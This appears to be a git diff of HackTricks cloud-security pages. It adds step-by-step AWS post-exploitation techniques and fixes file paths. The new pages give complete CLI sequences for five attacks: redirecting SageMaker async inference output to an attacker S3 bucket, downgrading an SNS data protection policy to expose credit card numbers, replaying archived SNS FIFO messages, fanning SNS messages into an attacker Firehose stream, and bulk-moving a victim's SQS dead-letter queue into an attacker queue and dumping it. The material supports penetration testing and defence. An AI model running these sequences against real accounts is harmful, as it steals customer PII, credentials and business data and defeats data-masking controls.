aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
|
||||
2) Create an attacker bucket (ensure the model execution role can PutObject to it)
|
||||
|
||||
```
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION || true
|
||||
```
|
||||
|
||||
3) Clone EndpointConfig and hijack AsyncInference outputs to the attacker bucket
|
||||
|
||||
```
|
||||
NEWCFG=${CUR_CFG}-async-exfil
|
||||
cat > /tmp/async_cfg.json << JSON
|
||||
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
|
||||
JSON
|
||||
aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
|
||||
4) Trigger an async invocation and verify objects land in attacker S3
|
||||
|
||||
```
|
||||
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
|
||||
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
|
||||
sleep 30
|
||||
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
|
||||
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
|
||||
```
|
||||
|
||||
### Impact
|
||||
- Redirects asynchronous inference results (and error bodies) to attacker-controlled S3, enabling covert exfiltration of predictions and potentially sensitive pre/post-processed inputs produced by the container, without changing model code or image and with minimal/no downtime.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,18 +1,18 @@
|
||||
# AWS - Secrets Manager Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Read Secrets
|
||||
|
||||
The **secrets themself are sensitive information**, [check the privesc page](../aws-privilege-escalation/aws-secrets-manager-privesc.md) to learn how to read them.
|
||||
The **secrets themself are sensitive information**, [check the privesc page](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) to learn how to read them.
|
||||
|
||||
### DoS Change Secret Value
|
||||
|
||||
@@ -88,7 +88,7 @@ aws secretsmanager update-secret-version-stage \
|
||||
--remove-from-version-id <previous-version-id>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - SES Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SES
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ses-enum.md
|
||||
../../aws-services/aws-ses-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `ses:SendEmail`
|
||||
@@ -80,7 +80,7 @@ aws sesv2 send-custom-verification-email --email-address <value> --template-name
|
||||
|
||||
Still to test.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - SNS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
For more information:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
../../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Disrupt Messages
|
||||
@@ -59,7 +59,7 @@ aws sns unsubscribe --subscription-arn <value>
|
||||
|
||||
An attacker could grant unauthorized users or services access to an SNS topic, or revoke permissions for legitimate users, causing disruptions in the normal functioning of applications that rely on the topic.
|
||||
|
||||
```css
|
||||
```bash
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
aws sns remove-permission --topic-arn <value> --label <value>
|
||||
```
|
||||
@@ -77,8 +77,20 @@ aws sns untag-resource --resource-arn <value> --tag-keys <key>
|
||||
|
||||
**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
### More SNS Post-Exploitation Techniques
|
||||
|
||||
{{#ref}}
|
||||
aws-sns-data-protection-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sns-fifo-replay-exfil.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sns-firehose-exfil.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
@@ -0,0 +1,96 @@
|
||||
# AWS - SNS Message Data Protection Bypass via Policy Downgrade
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
If you have `sns:PutDataProtectionPolicy` on a topic, you can switch its Message Data Protection policy from Deidentify/Deny to Audit-only (or remove Outbound controls) so sensitive values (e.g., credit card numbers) are delivered unmodified to your subscription.
|
||||
|
||||
## Requirements
|
||||
- Permissions on the target topic to call `sns:PutDataProtectionPolicy` (and usually `sns:Subscribe` if you want to receive the data).
|
||||
- Standard SNS topic (Message Data Protection supported).
|
||||
|
||||
## Attack Steps
|
||||
|
||||
- Variables
|
||||
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
```
|
||||
|
||||
1) Create a standard topic and an attacker SQS queue, and allow only this topic to send to the queue
|
||||
|
||||
```bash
|
||||
TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
|
||||
Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
|
||||
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
|
||||
```
|
||||
|
||||
2) Attach a data protection policy that masks credit card numbers on outbound messages
|
||||
|
||||
```bash
|
||||
cat > /tmp/ht-dlp-policy.json <<'JSON'
|
||||
{
|
||||
"Name": "__ht_dlp_policy",
|
||||
"Version": "2021-06-01",
|
||||
"Statement": [{
|
||||
"Sid": "MaskCCOutbound",
|
||||
"Principal": ["*"],
|
||||
"DataDirection": "Outbound",
|
||||
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
|
||||
"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
|
||||
}]
|
||||
}
|
||||
JSON
|
||||
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
|
||||
```
|
||||
|
||||
3) Subscribe attacker queue and publish a message with a test CC number, verify masking
|
||||
|
||||
```bash
|
||||
SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
|
||||
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
|
||||
```
|
||||
|
||||
Expected excerpt shows masking (hashes):
|
||||
|
||||
```json
|
||||
"Message" : "payment:{cc:################}"
|
||||
```
|
||||
|
||||
4) Downgrade the policy to audit-only (no deidentify/deny statements affecting Outbound)
|
||||
|
||||
For SNS, Audit statements must be Inbound. Replacing the policy with an Audit-only Inbound statement removes any Outbound de-identification, so messages flow unmodified to subscribers.
|
||||
```bash
|
||||
cat > /tmp/ht-dlp-audit-only.json <<'JSON'
|
||||
{
|
||||
"Name": "__ht_dlp_policy",
|
||||
"Version": "2021-06-01",
|
||||
"Statement": [{
|
||||
"Sid": "AuditInbound",
|
||||
"Principal": ["*"],
|
||||
"DataDirection": "Inbound",
|
||||
"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
|
||||
"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
|
||||
}]
|
||||
}
|
||||
JSON
|
||||
aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
|
||||
```
|
||||
|
||||
5) Publish the same message and verify the unmasked value is delivered
|
||||
```bash
|
||||
aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
|
||||
```
|
||||
Expected excerpt shows cleartext CC:
|
||||
|
||||
```text
|
||||
4539894458086459
|
||||
```
|
||||
|
||||
## Impact
|
||||
- Switching a topic from de-identification/deny to audit-only (or otherwise removing Outbound controls) allows PII/secrets to pass through unmodified to attacker-controlled subscriptions, enabling data exfiltration that would otherwise be masked or blocked.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,102 @@
|
||||
# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse of Amazon SNS FIFO topic message archiving to replay and exfiltrate previously published messages to an attacker-controlled SQS FIFO queue by setting the subscription ReplayPolicy.
|
||||
|
||||
- Service: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
|
||||
- Requirements: Topic must have ArchivePolicy enabled (message archiving). Attacker can Subscribe to the topic and set attributes on their subscription. Attacker controls an SQS FIFO queue and allows the topic to send messages.
|
||||
- Impact: Historical messages (published before the subscription) can be delivered to the attacker endpoint. Replayed deliveries are flagged with Replayed=true in the SNS envelope.
|
||||
|
||||
## Preconditions
|
||||
- SNS FIFO topic with archiving enabled: `ArchivePolicy` (e.g., `{ "MessageRetentionPeriod": "2" }` for 2 days).
|
||||
- Attacker has permissions to:
|
||||
- `sns:Subscribe` on the target topic.
|
||||
- `sns:SetSubscriptionAttributes` on the created subscription.
|
||||
- Attacker has an SQS FIFO queue and can attach a queue policy allowing `sns:SendMessage` from the topic ARN.
|
||||
|
||||
## Minimum IAM permissions
|
||||
- On topic: `sns:Subscribe`.
|
||||
- On subscription: `sns:SetSubscriptionAttributes`.
|
||||
- On queue: `sqs:SetQueueAttributes` for policy, and queue policy permitting `sns:SendMessage` from the topic ARN.
|
||||
|
||||
## Attack: Replay archived messages to attacker SQS FIFO
|
||||
The attacker subscribes their SQS FIFO queue to the victim SNS FIFO topic, then sets the `ReplayPolicy` to a timestamp in the past (within the archive retention window). SNS immediately replays matching archived messages to the new subscription and marks them with `Replayed=true`.
|
||||
|
||||
Notes:
|
||||
- The timestamp used in `ReplayPolicy` must be >= the topic's `BeginningArchiveTime`. If it's earlier, the API returns `Invalid StartingPoint value`.
|
||||
- For SNS FIFO `Publish`, you must specify a `MessageGroupId` (and either dedup ID or enable `ContentBasedDeduplication`).
|
||||
|
||||
<details>
|
||||
<summary>End-to-end CLI POC (us-east-1)</summary>
|
||||
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
|
||||
TS_START=$(python3 - << 'PY'
|
||||
from datetime import datetime, timezone, timedelta
|
||||
print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
|
||||
PY
|
||||
)
|
||||
|
||||
# 1) Create SNS FIFO topic with archiving (2-day retention)
|
||||
TOPIC_NAME=htreplay$(date +%s).fifo
|
||||
TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
|
||||
--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
|
||||
--query TopicArn --output text)
|
||||
|
||||
echo "Topic: $TOPIC_ARN"
|
||||
|
||||
# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
|
||||
for i in $(seq 1 3); do
|
||||
aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
|
||||
--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
|
||||
--message-group-id g1 >/dev/null
|
||||
done
|
||||
|
||||
# 3) Create attacker SQS FIFO queue and allow only this topic to send
|
||||
Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
|
||||
--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
|
||||
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
|
||||
--attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
cat > /tmp/ht-replay-sqs-policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
|
||||
JSON
|
||||
# Use CLI input JSON to avoid quoting issues
|
||||
aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
|
||||
import json, os
|
||||
print(json.dumps({
|
||||
'QueueUrl': os.environ['Q_URL'],
|
||||
'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
|
||||
}))
|
||||
PY
|
||||
)"
|
||||
|
||||
# 4) Subscribe the queue to the topic
|
||||
SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
|
||||
--protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
|
||||
|
||||
echo "Subscription: $SUB_ARN"
|
||||
|
||||
# 5) Ensure StartingPoint is >= BeginningArchiveTime
|
||||
BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
|
||||
START=${TS_START}
|
||||
if [ -n "$BEGIN" ]; then START="$BEGIN"; fi
|
||||
|
||||
aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
|
||||
--attribute-name ReplayPolicy \
|
||||
--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"
|
||||
|
||||
# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
|
||||
aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 10 \
|
||||
--message-attribute-names All --attribute-names All
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
## Impact
|
||||
**Potential Impact**: An attacker who can subscribe to an SNS FIFO topic with archiving enabled and set `ReplayPolicy` on their subscription can immediately replay and exfiltrate historical messages published to that topic, not only messages sent after the subscription was created. Delivered messages include a `Replayed=true` flag in the SNS envelope.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,78 @@
|
||||
# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse the Firehose subscription protocol to register an attacker-controlled Kinesis Data Firehose delivery stream on a victim SNS standard topic. Once the subscription is in place and the required IAM role trusts `sns.amazonaws.com`, every future notification is durably written into the attacker’s S3 bucket with minimal noise.
|
||||
|
||||
## Requirements
|
||||
- Permissions in the attacker account to create an S3 bucket, Firehose delivery stream, and the IAM role used by Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.).
|
||||
- The ability to `sns:Subscribe` to the victim topic (and optionally `sns:SetSubscriptionAttributes` if the subscription role ARN is provided after creation).
|
||||
- A topic policy that allows the attacker principal to subscribe (or the attacker already operates inside the same account).
|
||||
|
||||
## Attack Steps (same-account example)
|
||||
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACC_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SUFFIX=$(date +%s)
|
||||
|
||||
# 1) Create attacker S3 bucket and Firehose delivery stream
|
||||
ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX
|
||||
aws s3 mb s3://$ATTACKER_BUCKET --region $REGION
|
||||
|
||||
STREAM_NAME=ht-firehose-stream-$SUFFIX
|
||||
FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX
|
||||
|
||||
# Role Firehose assumes to write into the bucket
|
||||
aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}]
|
||||
}'
|
||||
|
||||
cat > /tmp/firehose-s3-policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:AbortMultipartUpload","s3:GetBucketLocation","s3:GetObject","s3:ListBucket","s3:ListBucketMultipartUploads","s3:PutObject"],"Resource":["arn:aws:s3:::$ATTACKER_BUCKET","arn:aws:s3:::$ATTACKER_BUCKET/*"]}]}
|
||||
JSON
|
||||
aws iam put-role-policy --role-name "$FIREHOSE_ROLE_NAME" --policy-name AllowS3Writes --policy-document file:///tmp/firehose-s3-policy.json
|
||||
|
||||
aws firehose create-delivery-stream \
|
||||
--delivery-stream-name "$STREAM_NAME" \
|
||||
--delivery-stream-type DirectPut \
|
||||
--s3-destination-configuration RoleARN=arn:aws:iam::$ACC_ID:role/$FIREHOSE_ROLE_NAME,BucketARN=arn:aws:s3:::$ATTACKER_BUCKET \
|
||||
--region $REGION >/dev/null
|
||||
|
||||
# 2) IAM role SNS assumes when delivering into Firehose
|
||||
SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX
|
||||
aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}]
|
||||
}'
|
||||
|
||||
cat > /tmp/allow-firehose.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["firehose:PutRecord","firehose:PutRecordBatch"],"Resource":"arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME"}]}
|
||||
JSON
|
||||
aws iam put-role-policy --role-name "$SNS_ROLE_NAME" --policy-name AllowFirehoseWrites --policy-document file:///tmp/allow-firehose.json
|
||||
|
||||
SNS_ROLE_ARN=arn:aws:iam::$ACC_ID:role/$SNS_ROLE_NAME
|
||||
|
||||
# 3) Subscribe Firehose to the victim topic
|
||||
TOPIC_ARN=<VICTIM_TOPIC_ARN>
|
||||
aws sns subscribe \
|
||||
--topic-arn "$TOPIC_ARN" \
|
||||
--protocol firehose \
|
||||
--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \
|
||||
--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \
|
||||
--region $REGION
|
||||
|
||||
# 4) Publish test message and confirm arrival in S3
|
||||
aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION
|
||||
sleep 90
|
||||
aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
|
||||
```
|
||||
|
||||
## Cleanup
|
||||
- Delete the SNS subscription, Firehose delivery stream, temporary IAM roles/policies, and attacker S3 bucket.
|
||||
|
||||
## Impact
|
||||
**Potential Impact**: Continuous, durable exfiltration of every message published to the targeted SNS topic into attacker-controlled storage with minimal operational footprint.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - SQS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
../../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `sqs:SendMessage` , `sqs:SendMessageBatch`
|
||||
@@ -37,7 +37,7 @@ aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> -
|
||||
|
||||
An attacker could delete an entire SQS queue, causing message loss and impacting applications relying on the queue.
|
||||
|
||||
```arduino
|
||||
```bash
|
||||
aws sqs delete-queue --queue-url <value>
|
||||
```
|
||||
|
||||
@@ -47,7 +47,7 @@ aws sqs delete-queue --queue-url <value>
|
||||
|
||||
An attacker could purge all messages from an SQS queue, leading to message loss and potential disruption of applications relying on those messages.
|
||||
|
||||
```arduino
|
||||
```bash
|
||||
aws sqs purge-queue --queue-url <value>
|
||||
```
|
||||
|
||||
@@ -57,7 +57,7 @@ aws sqs purge-queue --queue-url <value>
|
||||
|
||||
An attacker could modify the attributes of an SQS queue, potentially affecting its performance, security, or availability.
|
||||
|
||||
```arduino
|
||||
```bash
|
||||
aws sqs set-queue-attributes --queue-url <value> --attributes <value>
|
||||
```
|
||||
|
||||
@@ -78,14 +78,22 @@ aws sqs untag-queue --queue-url <value> --tag-keys <key>
|
||||
|
||||
An attacker could revoke permissions for legitimate users or services by removing policies associated with the SQS queue. This could lead to disruptions in the normal functioning of applications that rely on the queue.
|
||||
|
||||
```arduino
|
||||
```bash
|
||||
aws sqs remove-permission --queue-url <value> --label <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of normal functioning for applications relying on the queue due to unauthorized removal of permissions.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
### More SQS Post-Exploitation Techniques
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-dlq-redrive-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-sns-injection.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
@@ -0,0 +1,163 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Description
|
||||
|
||||
Abuse SQS message move tasks to steal all accumulated messages from a victim's Dead-Letter Queue (DLQ) by redirecting them to an attacker-controlled queue using `sqs:StartMessageMoveTask`. This technique exploits AWS's legitimate message recovery feature to exfiltrate sensitive data that has accumulated in DLQs over time.
|
||||
|
||||
## What is a Dead-Letter Queue (DLQ)?
|
||||
|
||||
A Dead-Letter Queue is a special SQS queue where messages are automatically sent when they fail to be processed successfully by the main application. These failed messages often contain:
|
||||
- Sensitive application data that couldn't be processed
|
||||
- Error details and debugging information
|
||||
- Personal Identifiable Information (PII)
|
||||
- API tokens, credentials, or other secrets
|
||||
- Business-critical transaction data
|
||||
|
||||
DLQs act as a "graveyard" for failed messages, making them valuable targets since they accumulate sensitive data over time that applications couldn't handle properly.
|
||||
|
||||
## Attack Scenario
|
||||
|
||||
**Real-world example:**
|
||||
1. **E-commerce application** processes customer orders through SQS
|
||||
2. **Some orders fail** (payment issues, inventory problems, etc.) and get moved to a DLQ
|
||||
3. **DLQ accumulates** weeks/months of failed orders containing customer data: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Attacker gains access** to AWS credentials with SQS permissions
|
||||
5. **Attacker discovers** the DLQ contains thousands of failed orders with sensitive data
|
||||
6. **Instead of trying to access individual messages** (slow and obvious), attacker uses `StartMessageMoveTask` to bulk transfer ALL messages to their own queue
|
||||
7. **Attacker extracts** all historical sensitive data in one operation
|
||||
|
||||
## Requirements
|
||||
- The source queue must be configured as a DLQ (referenced by at least one queue RedrivePolicy).
|
||||
- IAM permissions (run as the compromised victim principal):
|
||||
- On DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- On destination queue: permission to deliver messages (e.g., queue policy allowing `sqs:SendMessage` from the victim principal). For same-account destinations this is typically allowed by default.
|
||||
- If SSE-KMS is enabled: on source CMK `kms:Decrypt`, and on destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Impact
|
||||
**Potential Impact**: Exfiltrate sensitive payloads accumulated in DLQs (failed events, PII, tokens, application payloads) at high speed using native SQS APIs. Works cross-account if the destination queue policy allows `SendMessage` from the victim principal.
|
||||
|
||||
## How to Abuse
|
||||
|
||||
- Identify the victim DLQ ARN and ensure it is actually referenced as a DLQ by some queue (any queue is fine).
|
||||
- Create or choose an attacker-controlled destination queue and get its ARN.
|
||||
- Start a message move task from the victim DLQ to your destination queue.
|
||||
- Monitor progress or cancel if needed.
|
||||
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
|
||||
**Scenario**: An attacker has compromised AWS credentials and discovered that an e-commerce application uses SQS with a DLQ containing failed customer order processing attempts.
|
||||
|
||||
1) **Discover and examine the victim DLQ**
|
||||
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
|
||||
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
|
||||
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
|
||||
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# Check how many messages are in the DLQ (potential treasure trove!)
|
||||
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
|
||||
2) **Create attacker-controlled destination queue**
|
||||
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
|
||||
3) **Execute the bulk message theft**
|
||||
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
|
||||
TASK_RESPONSE=$(aws sqs start-message-move-task \
|
||||
--source-arn "$SRC_ARN" \
|
||||
--destination-arn "$ATTACKER_Q_ARN" \
|
||||
--max-number-of-messages-per-second 100)
|
||||
|
||||
echo "Move task started: $TASK_RESPONSE"
|
||||
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
|
||||
4) **Harvest the stolen sensitive data**
|
||||
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--attribute-names All --message-attribute-names All \
|
||||
--max-number-of-messages 10 --wait-time-seconds 5
|
||||
|
||||
# Example of what an attacker might see:
|
||||
# {
|
||||
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
|
||||
# "MessageId": "12345-abcd-6789-efgh"
|
||||
# }
|
||||
|
||||
# Continue receiving all messages in batches
|
||||
while true; do
|
||||
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
|
||||
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
|
||||
|
||||
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
|
||||
echo "No more messages - exfiltration complete!"
|
||||
break
|
||||
fi
|
||||
|
||||
echo "Received batch of stolen data..."
|
||||
# Process/save the stolen customer data
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
|
||||
### Cross-account notes
|
||||
- The destination queue must have a resource policy allowing the victim principal to `sqs:SendMessage` (and, if used, KMS grants/permissions).
|
||||
|
||||
## Why This Attack is Effective
|
||||
|
||||
1. **Legitimate AWS Feature**: Uses built-in AWS functionality, making it hard to detect as malicious
|
||||
2. **Bulk Operation**: Transfers thousands of messages quickly instead of slow individual access
|
||||
3. **Historical Data**: DLQs accumulate sensitive data over weeks/months
|
||||
4. **Under the Radar**: Many organizations don't monitor DLQ access closely
|
||||
5. **Cross-Account Capable**: Can exfiltrate to attacker's own AWS account if permissions allow
